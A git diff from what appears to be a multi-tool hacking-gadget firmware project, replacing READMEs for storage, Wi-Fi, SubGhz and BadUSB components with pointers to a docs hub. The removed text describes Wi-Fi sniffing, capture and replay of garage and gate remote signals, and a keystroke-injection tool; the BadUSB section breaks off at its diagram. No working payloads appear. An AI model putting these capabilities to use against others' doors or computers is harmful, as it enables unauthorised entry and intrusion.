100-500ms depending on partition size and file count. -- **File Reading:** LittleFS is optimized for small files (< 1MB). -- **Memory:** `load_file()` allocates heap - monitor with `esp_get_free_heap_size()`. -- **Large Files:** For files > 100KB, consider chunked reading instead of full load. - ---- +Documentation for this component lives in the project docs hub (single source of truth): -## Best Practices +- [docs/storage_assets/c5.md](../../../../docs/storage_assets/c5.md) -1. **Keep Assets Small:** LittleFS works best with many small files rather than few large ones. -2. **Compress When Possible:** Pre-compress assets (e.g., PNG → binary bitmap) before flashing. -3. **Validate Sizes:** Always check file sizes match expected values. -4. **Free Memory:** Always `free()` pointers returned by `load_file()`. -5. **Handle Errors:** Never assume assets are present - always validate return codes. -6. **Use Subdirectories:** Organize assets logically (fonts/, images/, sounds/). -7. **Version Assets:** Include version info in filenames or metadata for updates. \ No newline at end of file +This file is only a pointer: edit the docs there to keep things from drifting. diff --git a/firmware_c5/components/Service/storage_vfs/README.md b/firmware_c5/components/Service/storage_vfs/README.md index 6e823d6af..a91b0ae9e 100644 --- a/firmware_c5/components/Service/storage_vfs/README.md +++ b/firmware_c5/components/Service/storage_vfs/README.md @@ -1,549 +1,7 @@ -> 📚 Canonical/aggregated copy in the project docs hub: [`docs/storage_vfs/c5.md`](../../../../docs/storage_vfs/c5.md). - # Virtual File System (VFS) - Unified Storage Abstraction -The VFS system provides a unified, low-level abstraction layer for multiple storage backends, allowing applications to work with files using a consistent API regardless of the underlying storage medium (SD Card, SPIFFS, LittleFS, or RAM). - -## Overview - -- **Location:** `components/storage/vfs/` -- **Main Headers:** - - `include/vfs_core.h` (Core API) - - `include/vfs_config.h` (Backend selection) - - `include/vfs_sdcard.h` (SD Card backend) - - `include/vfs_littlefs.h` (LittleFS backend) -- **Dependencies:** `esp_vfs`, `esp_vfs_fat`, `esp_littlefs`, `sdmmc`, `spi` - -## Architecture Position - -``` -Application Code - ↓ - Storage API ← Recommended for most applications - ↓ - VFS Core ← You are here (low-level abstraction) - ↓ -Backend-Specific Drivers (SD/LittleFS/SPIFFS/RAM) -``` - -**When to use VFS directly:** -- You need POSIX-like file descriptor operations -- You want manual control over open/read/write/close -- Storage API doesn't provide what you need -- You're building your own storage abstraction - -**When NOT to use VFS:** -- For simple file operations → Use **Storage API** instead -- For read-only assets → Use **Storage Assets** instead - ---- - -## Key Features - -- **Multiple Backends:** Support for SD Card (FAT), SPIFFS, LittleFS, and RAM filesystem -- **Single Backend Selection:** Compile-time selection ensures only one backend is active -- **POSIX-Like API:** Familiar file operations (open, read, write, close, lseek) -- **Directory Operations:** Full directory tree manipulation -- **Backend Abstraction:** Switch storage backends by changing configuration - ---- - -## Backend Selection (Compile-Time) - -The VFS system uses **compile-time backend selection** to ensure only one storage backend is active. - -Edit `vfs_config.h`: - -```c -// Only ONE backend can be uncommented at a time - -#define VFS_USE_SD_CARD // ← Active backend -// #define VFS_USE_SPIFFS -// #define VFS_USE_LITTLEFS -// #define VFS_USE_RAMFS -``` - -**Important:** The system validates this at compile time and will error if multiple backends are selected. - -### Backend Configurations - -Each backend has specific configuration in `vfs_config.h`: - -#### SD Card Backend -```c -#define VFS_MOUNT_POINT "/sdcard" -#define VFS_MAX_FILES 10 -#define VFS_FORMAT_ON_FAIL false -#define VFS_BACKEND_NAME "SD Card" -``` - -#### LittleFS Backend -```c -#define VFS_MOUNT_POINT "/littlefs" -#define VFS_MAX_FILES 10 -#define VFS_FORMAT_ON_FAIL true -#define VFS_PARTITION_LABEL "storage" -#define VFS_BACKEND_NAME "LittleFS" -``` - ---- - -## Data Structures - -### File Descriptor - -```c -typedef int vfs_fd_t; -#define VFS_INVALID_FD -1 -``` - -File descriptor for open files. Similar to POSIX file descriptors. - ---- - -### File/Directory Information - -```c -typedef struct { - char name[VFS_MAX_NAME]; // Entry name (64 chars max) - vfs_entry_type_t type; // VFS_TYPE_FILE or VFS_TYPE_DIR - size_t size; // File size in bytes - time_t mtime; // Last modification time - time_t ctime; // Creation time - bool is_hidden; // Hidden attribute - bool is_readonly; // Read-only attribute -} vfs_stat_t; -``` - ---- - -### Filesystem Statistics - -```c -typedef struct { - uint64_t total_bytes; // Total filesystem capacity - uint64_t free_bytes; // Available free space - uint64_t used_bytes; // Space currently in use - uint32_t block_size; // Filesystem block size - uint32_t total_blocks; // Total number of blocks - uint32_t free_blocks; // Available free blocks -} vfs_statvfs_t; -``` - ---- - -## Core API Reference - -### Initialization - -#### `vfs_init_auto` - -```c -esp_err_t vfs_init_auto(void); -``` - -Initializes the VFS backend selected in `vfs_config.h`. - -**Returns:** -- `ESP_OK` - Backend initialized and mounted successfully -- `ESP_FAIL` - Initialization failed (check logs) - ---- - -#### `vfs_deinit_auto` - -```c -esp_err_t vfs_deinit_auto(void); -``` - -Unmounts and deinitializes the active VFS backend. - -**Returns:** -- `ESP_OK` - Backend deinitialized successfully -- `ESP_FAIL` - Deinitialization failed - ---- - -#### `vfs_is_mounted_auto` - -```c -bool vfs_is_mounted_auto(void); -``` - -Checks if the active backend is currently mounted. - ---- - -#### `vfs_get_mount_point` - -```c -const char* vfs_get_mount_point(void); -``` - -Returns the mount point path for the active backend (e.g., "/sdcard", "/littlefs"). - ---- - -#### `vfs_get_backend_name` - -```c -const char* vfs_get_backend_name(void); -``` - -Returns the human-readable name of the active backend (e.g., "SD Card", "LittleFS"). - ---- - -#### `vfs_print_info` - -```c -void vfs_print_info(void); -``` - -Prints detailed information about the active VFS backend to the console, including mount point, capacity, and usage statistics. - ---- - -### File Operations (POSIX-like) - -#### `vfs_open` - -```c -vfs_fd_t vfs_open(const char *path, int flags, int mode); -``` - -Opens a file with specified flags and permissions. - -**Parameters:** -- `path` - Full path to file (e.g., "/sdcard/data.txt") -- `flags` - Opening mode flags (bitwise OR): - - `VFS_O_RDONLY` - Read-only - - `VFS_O_WRONLY` - Write-only - - `VFS_O_RDWR` - Read and write - - `VFS_O_CREAT` - Create if doesn't exist - - `VFS_O_TRUNC` - Truncate to zero length - - `VFS_O_APPEND` - Append to end of file - - `VFS_O_EXCL` - Fail if file exists (with O_CREAT) -- `mode` - File permissions (POSIX mode, e.g., 0644) - -**Returns:** -- Valid file descriptor (>= 0) on success -- `VFS_INVALID_FD` on failure - ---- - -#### `vfs_read` - -```c -ssize_t vfs_read(vfs_fd_t fd, void *buf, size_t size); -``` - -Reads data from an open file. - -**Returns:** -- Number of bytes read (>= 0) -- -1 on error - ---- - -#### `vfs_write` - -```c -ssize_t vfs_write(vfs_fd_t fd, const void *buf, size_t size); -``` - -Writes data to an open file. - -**Returns:** -- Number of bytes written (>= 0) -- -1 on error - ---- - -#### `vfs_lseek` - -```c -off_t vfs_lseek(vfs_fd_t fd, off_t offset, int whence); -``` - -Moves the file position pointer. - -**Parameters:** -- `whence` - Reference point: - - `VFS_SEEK_SET` - From beginning of file - - `VFS_SEEK_CUR` - From current position - - `VFS_SEEK_END` - From end of file - -**Returns:** -- New file position on success -- -1 on error - ---- - -#### `vfs_close` - -```c -esp_err_t vfs_close(vfs_fd_t fd); -``` - -Closes an open file descriptor. - ---- - -#### `vfs_fsync` - -```c -esp_err_t vfs_fsync(vfs_fd_t fd); -``` - -Flushes file buffers to storage, ensuring data is physically written. - ---- - -### File Metadata - -#### `vfs_stat` - -```c -esp_err_t vfs_stat(const char *path, vfs_stat_t *st); -``` - -Gets information about a file or directory. - ---- - -#### `vfs_exists` - -```c -bool vfs_exists(const char *path); -``` - -Checks if a file or directory exists. - ---- - -#### `vfs_get_size` - -```c -esp_err_t vfs_get_size(const char *path, size_t *size); -``` - -Gets the size of a file in bytes. - ---- - -### File Management - -#### `vfs_rename` - -```c -esp_err_t vfs_rename(const char *old_path, const char *new_path); -``` - -Renames or moves a file. - ---- - -#### `vfs_unlink` - -```c -esp_err_t vfs_unlink(const char *path); -``` - -Deletes a file. - ---- - -#### `vfs_truncate` - -```c -esp_err_t vfs_truncate(const char *path, off_t length); -``` - -Resizes a file to the specified length. - ---- - -### Directory Operations - -#### `vfs_mkdir` - -```c -esp_err_t vfs_mkdir(const char *path, int mode); -``` - -Creates a new directory. - ---- - -#### `vfs_rmdir` - -```c -esp_err_t vfs_rmdir(const char *path); -``` - -Removes an empty directory. - ---- - -#### `vfs_rmdir_recursive` - -```c -esp_err_t vfs_rmdir_recursive(const char *path); -``` - -Recursively removes a directory and all its contents. - ---- - -#### `vfs_opendir` / `vfs_readdir` / `vfs_closedir` - -```c -vfs_dir_t vfs_opendir(const char *path); -esp_err_t vfs_readdir(vfs_dir_t dir, vfs_stat_t *entry); -esp_err_t vfs_closedir(vfs_dir_t dir); -``` - -Directory traversal using iterator pattern. - ---- - -#### `vfs_list_dir` - -```c -typedef void (*vfs_dir_callback_t)(const vfs_stat_t *entry, void *user_data); -esp_err_t vfs_list_dir(const char *path, vfs_dir_callback_t callback, void *user_data); -``` - -Lists directory contents using callback. - ---- - -### Filesystem Information - -#### `vfs_statvfs` - -```c -esp_err_t vfs_statvfs(const char *path, vfs_statvfs_t *stat); -``` - -Gets filesystem statistics. - ---- - -#### `vfs_get_free_space` - -```c -esp_err_t vfs_get_free_space(const char *path, uint64_t *free_bytes); -``` - -Gets available free space. - ---- - -#### `vfs_get_usage_percent` - -```c -esp_err_t vfs_get_usage_percent(const char *path, float *percentage); -``` - -Calculates filesystem usage percentage. - ---- - -### High-Level Helpers - -These functions simplify common operations by handling open/close internally. - -#### `vfs_read_file` - -```c -esp_err_t vfs_read_file(const char *path, void *buf, size_t size, size_t *bytes_read); -``` - -Reads entire file content in one operation. - ---- - -#### `vfs_write_file` - -```c -esp_err_t vfs_write_file(const char *path, const void *buf, size_t size); -``` - -Writes data to file, creating or overwriting it. - ---- - -#### `vfs_append_file` - -```c -esp_err_t vfs_append_file(const char *path, const void *buf, size_t size); -``` - -Appends data to end of file. - ---- - -#### `vfs_copy_file` - -```c -esp_err_t vfs_copy_file(const char *src, const char *dst); -``` - -Copies a file. - ---- - -## Backend-Specific APIs - -### SD Card Backend - -```c -#include "vfs_sdcard.h" - -esp_err_t vfs_sdcard_init(void); -esp_err_t vfs_sdcard_deinit(void); -bool vfs_sdcard_is_mounted(void); -void vfs_sdcard_print_info(void); -esp_err_t vfs_sdcard_format(void); -``` - -### LittleFS Backend - -```c -#include "vfs_littlefs.h" - -esp_err_t vfs_littlefs_init(void); -esp_err_t vfs_littlefs_deinit(void); -bool vfs_littlefs_is_mounted(void); -void vfs_littlefs_print_info(void); -esp_err_t vfs_littlefs_format(void); -``` - ---- - -## Switching Backends - -To switch between storage backends, edit `vfs_config.h`: - -```c -// From SD Card: -#define VFS_USE_SD_CARD - -// To LittleFS: -// #define VFS_USE_SD_CARD -#define VFS_USE_LITTLEFS -``` - -Rebuild your project. All `vfs_*` function calls remain the same. - ---- +Documentation for this component lives in the project docs hub (single source of truth): -## Best Practices +- [docs/storage_vfs/c5.md](../../../../docs/storage_vfs/c5.md) -1. **Consider Storage API first** - Use VFS only when you need low-level control -2. **Always check return values** - Especially for `vfs_open()` and `vfs_init_auto()` -3. **Close file descriptors** - Always call `vfs_close()` when done -4. **Use absolute paths** - Include mount point (e.g., "/sdcard/file.txt") -5. **Single backend only** - Never uncomment multiple backends in `vfs_config.h` \ No newline at end of file +This file is only a pointer: edit the docs there to keep things from drifting. diff --git a/firmware_c5/components/Service/wifi/README.md b/firmware_c5/components/Service/wifi/README.md index f684311b5..6737ec8cf 100644 --- a/firmware_c5/components/Service/wifi/README.md +++ b/firmware_c5/components/Service/wifi/README.md @@ -1,186 +1,7 @@ -> 📚 Canonical/aggregated copy in the project docs hub: [`docs/wifi/c5.md`](../../../../docs/wifi/c5.md). - # Wi-Fi Service Component Documentation -This component manages Wi-Fi functionalities including Access Point (AP) mode, Station (STA) mode, scanning, and configuration persistence using JSON files. - -## Functionality Overview - -The service handles: -- **Initialization/Deinitialization:** Setup of NVS, Netif, Event Loops, and Wi-Fi drivers. -- **Access Point (AP):** Configurable SSID, password, max connections, and custom IP address. -- **Scanning:** Active scanning for nearby networks. -- **Station (STA):** Connecting to external Wi-Fi networks. -- **Hotspot Management:** Dynamic switching of AP configuration. -- **Promiscuous Mode:** Low-level packet sniffing and environment monitoring. -- **Channel Hopping:** Automated cycling through Wi-Fi channels for environment monitoring. -- **Configuration Persistence:** Loading and saving AP settings to/from `assets/config/wifi/wifi_ap.conf`. -- **Known Networks:** Automatically saves connected network credentials to `assets/storage/wifi/know_networks.json`. - -## API Functions - -### Initialization & Lifecycle - -#### `wifi_service_init` -```c -void wifi_service_init(void); -``` -Initializes the Wi-Fi stack in `APSTA` mode. -- Initializes NVS (performing erase if necessary). -- Sets up the default event loop and registers handlers. -- Loads AP configuration from storage (or uses defaults "Darth Maul"/"MyPassword123"). -- Configures the static IP (default: 192.168.4.1) and starts the DHCP server. - -#### `wifi_service_deinit` -```c -void wifi_service_deinit(void); -``` -Completely shuts down the Wi-Fi service. -- Stops the Wi-Fi driver. -- Unregisters event handlers. -- Deinitializes the driver. -- Frees synchronization primitives (mutexes) and clears static data. - -#### `wifi_service_start` / `wifi_service_stop` -```c -void wifi_service_start(void); -void wifi_service_stop(void); -``` -Simple wrappers to start or stop the Wi-Fi driver without full deinitialization. `wifi_service_stop` also clears stored scan results. - -### Scanning - -#### `wifi_service_scan` -```c -void wifi_service_scan(void); -``` -Performs an active Wi-Fi scan. -- Uses a mutex to ensure thread safety. -- Stores up to `WIFI_SCAN_LIST_SIZE` results internally. -- Provides visual feedback via LEDs (Green for AP connection, Red for failures, Blue for scan success). - -#### `wifi_service_get_ap_count` -```c -uint16_t wifi_service_get_ap_count(void); -``` -Returns the number of networks found in the last scan. - -#### `wifi_service_get_ap_record` -```c -wifi_ap_record_t* wifi_service_get_ap_record(uint16_t index); -``` -Retrieves a pointer to a specific scan result record. Returns `NULL` if the index is invalid. - -### Connection & Management - -#### `wifi_service_connect_to_ap` -```c -esp_err_t wifi_service_connect_to_ap(const char *ssid, const char *password); -``` -Connects the device (as a station) to an external Access Point. -- Configures authentication mode based on the presence of a password (WPA2_PSK or OPEN). -- Disconnects any existing connection before attempting a new one. -- **Persistence:** Automatically saves the SSID and password to `assets/storage/wifi/know_networks.json`. If the network already exists, the password is updated. - -#### `wifi_service_is_connected` -```c -bool wifi_service_is_connected(void); -``` -Returns `true` if the device is currently connected to an external Wi-Fi network and has an IP address. - -#### `wifi_service_is_active` -```c -bool wifi_service_is_active(void); -``` -Returns `true` if the Wi-Fi service is started (driver initialized and interface up). - -#### `wifi_service_get_connected_ssid` -```c -const char* wifi_service_get_connected_ssid(void); -``` -Returns the SSID of the currently connected network. Returns `NULL` if not connected. - -#### `wifi_service_change_to_hotspot` -```c -void wifi_service_change_to_hotspot(const char *new_ssid); -``` -Dynamically reconfigures the device's Access Point to an **Open** network with the specified SSID. -- Stops the Wi-Fi driver briefly to apply changes. -- Sets `authmode` to `WIFI_AUTH_OPEN`. -- Restarts Wi-Fi with the new configuration. - -### Promiscuous Mode - -#### `wifi_service_promiscuous_start` -```c -void wifi_service_promiscuous_start(wifi_promiscuous_cb_t cb, wifi_promiscuous_filter_t *filter); -``` -Enables promiscuous mode (sniffer) with a custom callback and filter. -- `cb`: Function to handle captured packets. -- `filter`: Filter mask (e.g., `WIFI_PROMIS_FILTER_MASK_MGMT`). - -#### `wifi_service_promiscuous_stop` -```c -void wifi_service_promiscuous_stop(void); -``` -Disables promiscuous mode and clears the callback. - -### Channel Hopping - -#### `wifi_service_start_channel_hopping` -```c -void wifi_service_start_channel_hopping(void); -``` -Starts a background task that cycles the Wi-Fi interface through channels 1 to 13. -- Useful for promiscuous mode applications (e.g., deauth detection). -- Task memory is allocated in PSRAM if available. - -#### `wifi_service_stop_channel_hopping` -```c -void wifi_service_stop_channel_hopping(void); -``` -Stops the channel hopping task and frees associated memory resources. - -### Configuration Storage - -#### `wifi_service_save_ap_config` -```c -esp_err_t wifi_service_save_ap_config(const char *ssid, const char *password, uint8_t max_conn, const char *ip_addr, bool enabled); -``` -Saves the AP configuration to a JSON file (`/assets/config/wifi/wifi_ap.conf`). -- Uses `cJSON` to serialize settings. -- Persists data using the storage API. -- **State Management:** If `enabled` is `true` and Wi-Fi is inactive, it calls `wifi_service_start()`. If `enabled` is `false` and Wi-Fi is active, it calls `wifi_service_stop()`. - -#### Individual Setters -Helper functions to update a single configuration parameter while preserving others. They automatically save the config and trigger state changes if `enabled` is toggled. - -```c -esp_err_t wifi_service_set_enabled(bool enabled); -esp_err_t wifi_service_set_ap_ssid(const char *ssid); -esp_err_t wifi_service_set_ap_password(const char *password); -esp_err_t wifi_service_set_ap_max_conn(uint8_t max_conn); -esp_err_t wifi_service_set_ap_ip(const char *ip_addr); -``` - -**Internal Loader:** `wifi_service_load_ap_config` is called during initialization to read these settings. If `enabled` is found to be `false` in the config, `wifi_service_init` will initialize the driver but **not** start the radio. - -## Internal Implementation Details - -### Event Handling -A static `wifi_event_handler` manages Wi-Fi and IP events: -- **WIFI_EVENT_AP_STACONNECTED:** Logs the MAC of the connected station and blinks Green. -- **WIFI_EVENT_AP_STADISCONNECTED:** Blinks Red. -- **IP_EVENT_AP_STAIPASSIGNED:** Logs IP assignment and blinks Green. - -### Thread Safety -A `wifi_mutex` (Semaphore) is used to protect the scanning process (`wifi_service_scan`), preventing concurrent scan requests which could lead to resource conflicts. +Documentation for this component lives in the project docs hub (single source of truth): -### Channel Hopping Task -The channel hopping feature runs as a static FreeRTOS task. It uses `esp_wifi_set_channel` to switch channels every 250ms. To optimize internal RAM usage, both the task stack and the Task Control Block (TCB) are allocated in **PSRAM** using the `SPIRAM` capability. +- [docs/wifi/c5.md](../../../../docs/wifi/c5.md) -### Castings & Memory Management -- **cJSON:** Used extensively for parsing and generating configuration files. -- **PSRAM Allocation:** Critical tasks and large buffers are allocated in PSRAM to preserve internal memory. -- **Type Casting:** `event_data` is cast to specific event structures (e.g., `wifi_event_ap_staconnected_t*`) within handlers. -- **String Handling:** `strncpy` is used safely with explicit null-termination to prevent buffer overflows when handling SSIDs and passwords. +This file is only a pointer: edit the docs there to keep things from drifting. diff --git a/firmware_p4/components/Applications/SubGhz/README.md b/firmware_p4/components/Applications/SubGhz/README.md index 253c5e688..0924f7699 100644 --- a/firmware_p4/components/Applications/SubGhz/README.md +++ b/firmware_p4/components/Applications/SubGhz/README.md @@ -1,281 +1,7 @@ -> 📚 Canonical/aggregated copy in the project docs hub: [`docs/SubGhz/README.md`](../../../../docs/SubGhz/README.md). - # SubGhz Application -This component implements the complete Sub-GHz RF application layer: signal reception (with protocol decoding and frequency hopping), raw/encoded transmission, spectrum analysis, signal analysis, and file serialization. It sits on top of the `cc1101` driver and uses the ESP-IDF RMT peripheral for precise pulse timing. - -## Overview - -- **Location:** `components/Applications/SubGhz/` -- **Dependencies:** `cc1101`, `driver/rmt_rx`, `driver/rmt_tx`, `freertos`, `pin_def` -- **RMT Resolution:** 1 MHz (1 us per tick) -- **RX GPIO:** GPIO 8 (GDO0 via `GPIO_SDA_PIN`) -- **TX GPIO:** GDO2 (via `GPIO_SCL_PIN`) - -## Architecture - -``` -┌─────────────────────────────────────────────────────┐ -│ SubGhz App │ -│ │ -│ ┌──────────┐ ┌──────────────┐ ┌───────────────┐ │ -│ │ Receiver │ │ Transmitter │ │ Spectrum │ │ -│ │ (RMT RX) │ │ (RMT TX) │ │ Analyzer │ │ -│ └────┬─────┘ └──────┬───────┘ └───────┬───────┘ │ -│ │ │ │ │ -│ ┌────┴─────┐ ┌────┴─────┐ ┌──────┴───────┐ │ -│ │ Protocol │ │ Queue │ │ RSSI Sweep │ │ -│ │ Registry │ │ Worker │ │ (80 bins) │ │ -│ └────┬─────┘ └──────────┘ └──────────────┘ │ -│ │ │ -│ ┌────┴─────┐ ┌──────────────┐ ┌───────────────┐ │ -│ │ Analyzer │ │ Serializer │ │ Storage │ │ -│ │(Histogram)│ │ (.sub files) │ │ (SD Card) │ │ -│ └──────────┘ └──────────────┘ └───────────────┘ │ -└─────────────────────────────────────────────────────┘ - │ - ┌─────────┴─────────┐ - │ CC1101 Driver │ - │ (SPI Bus) │ - └───────────────────┘ -``` - -## Modules - -### Receiver (`subghz_receiver`) - -Captures RF signals via the CC1101 GDO0 pin routed to the ESP32 RMT RX peripheral. Runs as a FreeRTOS task pinned to Core 1. - -**Operating Modes:** - -| Mode | Behavior | -|------|----------| -| `SUBGHZ_MODE_SCAN` | Decodes signals via protocol registry. Unknown signals are analyzed and saved as RAW. | -| `SUBGHZ_MODE_RAW` | Captures and saves all raw pulse data without decoding. | - -**Frequency Hopping:** When `freq == 0` is passed to `subghz_receiver_start`, the receiver cycles through 12 predefined frequencies (433.92, 868.35, 315, 300, 390, 418, 915 MHz, etc.) every 5 seconds. - -**Signal Processing Pipeline:** -1. RMT hardware captures pulse timings (min 1 us, idle timeout 10 ms) -2. Software filter removes pulses < 15 us -3. Pulses converted to signed int32 buffer (positive = HIGH, negative = LOW) -4. **SCAN mode:** Protocol registry tries all decoders -> Analyzer for unknowns -5. **RAW mode:** Direct save to storage - -#### API - -```c -esp_err_t subghz_receiver_start(subghz_mode_t mode, cc1101_preset_t preset, uint32_t freq); -void subghz_receiver_stop(void); -bool subghz_receiver_is_running(void); -``` -- `freq = 0` enables frequency hopping mode. -- Returns `ESP_OK` on success, `ESP_ERR_INVALID_STATE` if already running, `ESP_ERR_NO_MEM` on task creation failure. -- Task stack: 8192 bytes, priority 5, Core 1. - -### Transmitter (`subghz_transmitter`) - -Asynchronous queue-based transmitter. Converts signed pulse timings to RMT symbols and transmits via CC1101 GDO2 in async mode. - -**Flow:** `subghz_tx_send_raw()` -> FreeRTOS Queue -> TX Task -> RMT TX -> CC1101 - -#### API - -```c -esp_err_t subghz_tx_init(void); -void subghz_tx_stop(void); -esp_err_t subghz_tx_send_raw(const int32_t *timings, size_t count); -``` -- `subghz_tx_init` returns `ESP_OK` on success, `ESP_ERR_NO_MEM` on queue creation failure. -- `subghz_tx_send_raw` returns `ESP_OK` on success, `ESP_ERR_INVALID_ARG` if not running or invalid params, `ESP_ERR_NO_MEM` on allocation failure, `ESP_ERR_TIMEOUT` if queue is full. -- Queue depth: 10 items. Drops packets if full. -- Timing data is copied internally; caller retains ownership of the original buffer. -- Max RMT symbol duration: 32767 us per pulse. -- Task stack: 4096 bytes, priority 5, Core 1. - -### Spectrum Analyzer (`subghz_spectrum`) - -Sweeps across a frequency span by stepping the CC1101 through discrete frequencies and reading RSSI values. Produces 80-sample spectral lines. - -**Sweep Process:** -1. Divides the span into 80 frequency steps -2. For each step: tune CC1101, wait 400 us stabilization, take 3 RSSI peak samples -3. Updates a mutex-protected global `subghz_spectrum_line_t` structure - -#### Data Structure - -```c -typedef struct { - uint32_t center_freq; - uint32_t span_hz; - uint32_t start_freq; - uint32_t step_hz; - float dbm_values[SPECTRUM_SAMPLES]; - uint64_t timestamp; -} subghz_spectrum_line_t; -``` - -#### API - -```c -void subghz_spectrum_start(uint32_t center_freq, uint32_t span_hz); -void subghz_spectrum_stop(void); -bool subghz_spectrum_get_line(subghz_spectrum_line_t *out_line); -``` -- Task stack: 4096 bytes, priority 1, Core 1. -- Thread-safe reads via `subghz_spectrum_get_line`. - -### Signal Analyzer (`subghz_analyzer`) - -Analyzes unknown signals by building a pulse duration histogram to estimate modulation parameters and recover bitstreams. - -**Analysis Steps:** -1. **Histogram:** Builds 50 us bins (up to 5000 us) from absolute pulse durations -2. **TE Estimation:** First significant histogram peak = estimated Time Element -3. **Modulation Heuristic:** 2 peaks = Manchester/Biphase, 3+ peaks = PWM/Tri-state -4. **Bitstream Recovery:** Slices pulses into TE-sized bits using edge-to-edge detection - -#### Data Structure - -```c -typedef struct { - uint32_t estimated_te; - uint32_t pulse_min; - uint32_t pulse_max; - size_t pulse_count; - const char *modulation_hint; - uint8_t bitstream[128]; - size_t bitstream_len; -} subghz_analyzer_result_t; -``` - -#### API - -```c -bool subghz_analyzer_process(const int32_t *pulses, size_t count, subghz_analyzer_result_t *out_result); -``` -- Requires minimum 10 pulses. Filters durations < 50 us as noise. - -### Protocol Serializer (`subghz_protocol_serializer`) - -Serializes and parses `.sub` file format for decoded and raw signals. - -**File Format:** -``` -Filetype: High Boy SubGhz File -Version 1 -Frequency: 433920000 -Preset: 6 -Protocol: Princeton -Bit: 24 -Key: 00 00 00 00 XX XX XX XX -TE: 350 -``` - -RAW variant replaces Protocol/Bit/Key/TE with: -``` -Protocol: RAW -RAW_Data: 350 -700 350 -350 700 -350 ... -``` - -#### API - -```c -uint8_t subghz_protocol_get_preset_id(void); -size_t subghz_protocol_serialize_decoded(const subghz_data_t *data, uint32_t frequency, uint32_t te, char *out_buf, size_t out_size); -size_t subghz_protocol_serialize_raw(const int32_t *pulses, size_t count, uint32_t frequency, char *out_buf, size_t out_size); -size_t subghz_protocol_parse_raw(const char *content, int32_t *out_pulses, size_t max_count, uint32_t *out_frequency, uint8_t *out_preset); -``` - -### Storage (`subghz_storage`) - -Saves captured signals to persistent storage using the serializer. Currently operates in placeholder mode (outputs to log). - -#### API - -```c -esp_err_t subghz_storage_init(void); -esp_err_t subghz_storage_save_decoded(const char *name, const subghz_data_t *data, uint32_t frequency, uint32_t te); -esp_err_t subghz_storage_save_raw(const char *name, const int32_t *pulses, size_t count, uint32_t frequency); -``` -- Returns `ESP_OK` on success, `ESP_ERR_INVALID_ARG` on null arguments, `ESP_ERR_NO_MEM` on allocation failure. - -## Protocol Plugins (`protocols/`) - -The protocol system follows a **plugin architecture**. Each protocol is a self-contained module (e.g., `protocol_princeton.c`) that implements a common interface and is registered in a central registry. This design allows adding support for new protocols without modifying existing code — just create a new `protocol_*.c` file, implement the `subghz_protocol_t` interface, and register it in `subghz_protocol_registry.c`. - -### Plugin Interface - -Every protocol plugin must export a `subghz_protocol_t` struct with two function pointers: - -```c -typedef struct { - const char *name; - bool (*decode)(const int32_t *pulses, size_t count, subghz_data_t *out_data); - size_t (*encode)(const subghz_data_t *data, int32_t *pulses, size_t max_count); -} subghz_protocol_t; -``` - -- **`decode`**: Receives raw pulse timings and attempts to recognize the protocol. Returns `true` if the signal matches, filling `out_data` with serial, button, bit count, and raw value. -- **`encode`**: Converts structured data back into pulse timings for retransmission. - -### How It Works - -1. Each plugin file declares a global `subghz_protocol_t` (e.g., `protocol_princeton`) -2. The registry (`subghz_protocol_registry.c`) holds an array of pointers to all registered plugins -3. On signal reception, `subghz_protocol_registry_decode_all()` iterates through all plugins in order, calling each `decode()` until one claims the signal -4. If no plugin matches, the signal falls through to the `subghz_analyzer` for heuristic analysis - -### Adding a New Protocol Plugin - -1. Create `protocols/protocol_mydevice.c` -2. Implement `decode()` and optionally `encode()` -3. Export: `subghz_protocol_t protocol_mydevice = { .name = "MyDevice", .decode = ..., .encode = ... };` -4. Register in `subghz_protocol_registry.c`: - - Add `extern subghz_protocol_t protocol_mydevice;` - - Add `&protocol_mydevice` to the `s_protocols[]` array - -### Registered Plugins - -| Plugin | Modulation | Typical Use | -|--------------|------------|------------------------------| -| RCSwitch | OOK/PWM | Generic remote switches | -| Princeton | OOK/PWM | Fixed-code remotes | -| CAME | OOK/PWM | Gate/garage remotes | -| Nice FLO | OOK/PWM | Gate/garage remotes | -| Ansonic | OOK/PWM | Gate remotes | -| Chamberlain | OOK/PWM | Garage door openers | -| Holtek | OOK/PWM | Remote controls | -| LiftMaster | OOK/PWM | Garage door openers | -| Linear | OOK/PWM | Gate/access control | -| Rossi | OOK/PWM | Gate remotes | - -### Utility Functions (`subghz_protocol_utils.h`) - -```c -uint32_t subghz_abs_diff(uint32_t a, uint32_t b); -bool subghz_check_pulse(int32_t raw_len, uint32_t target_len, uint8_t tolerance_pct); -``` -Helper functions available to all plugins for pulse timing validation with percentage-based tolerance. - -### Registry API - -```c -void subghz_protocol_registry_init(void); -bool subghz_protocol_registry_decode_all(const int32_t *pulses, size_t count, subghz_data_t *out_data); -const subghz_protocol_t *subghz_protocol_registry_get_by_name(const char *name); -``` - -## Common Types (`subghz_types.h`) +Documentation for this component lives in the project docs hub (single source of truth): -```c -typedef struct { - const char *protocol_name; - uint32_t serial; - uint8_t btn; - uint8_t bit_count; - uint32_t raw_value; -} subghz_data_t; -``` +- [docs/SubGhz/README.md](../../../../docs/SubGhz/README.md) -Shared data structure used across decoder, serializer, storage, and UI layers. +This file is only a pointer: edit the docs there to keep things from drifting. diff --git a/firmware_p4/components/Applications/bad_usb/README.md b/firmware_p4/components/Applications/bad_usb/README.md index 85429ad1d..015ec5b19 100644 --- a/firmware_p4/components/Applications/bad_usb/README.md +++ b/firmware_p4/components/Applications/bad_usb/README.md @@ -1,136 +1,7 @@ -> 📚 Canonical/aggregated copy in the project docs hub: [`docs/bad_usb/README.md`](../../../../docs/bad_usb/README.md). - # BadUSB Application -This component implements a modular HID injection tool capable of emulating keyboard and mouse input to execute automated payloads. It features a 3-layer architecture that decouples script parsing, keyboard layouts, and hardware transport. - -## Overview - -- **Location:** `components/Applications/bad_usb/` -- **Dependencies:** `tinyusb`, `tusb_desc`, `storage_api`, `freertos` -- **Transport:** USB HID via TinyUSB (Bluetooth planned) - -## Architecture - -``` -┌─────────────────────────────────────────────────┐ -│ BadUSB Application │ -│ │ -│ ┌─────────────────────────────────────────┐ │ -│ │ DuckyScript Parser │ │ -│ │ (ducky_parser.c) │ │ -│ │ Parses scripts, dispatches commands │ │ -│ └────────┬──────────────┬─────────────────┘ │ -│ │ │ │ -│ ┌────────┴────────┐ ┌─┴──────────────────┐ │ -│ │ HID Layouts │ │ HID HAL │ │ -│ │ (hid_layouts) │ │ (hid_hal) │ │ -│ │ US / ABNT2 │ │ Callback-based │ │ -│ │ char -> HID │ │ abstraction │ │ -│ └────────┬────────┘ └─┬──────────────────┘ │ -│ │ │ │ -│ └──────┬───────┘ │ -│ │ 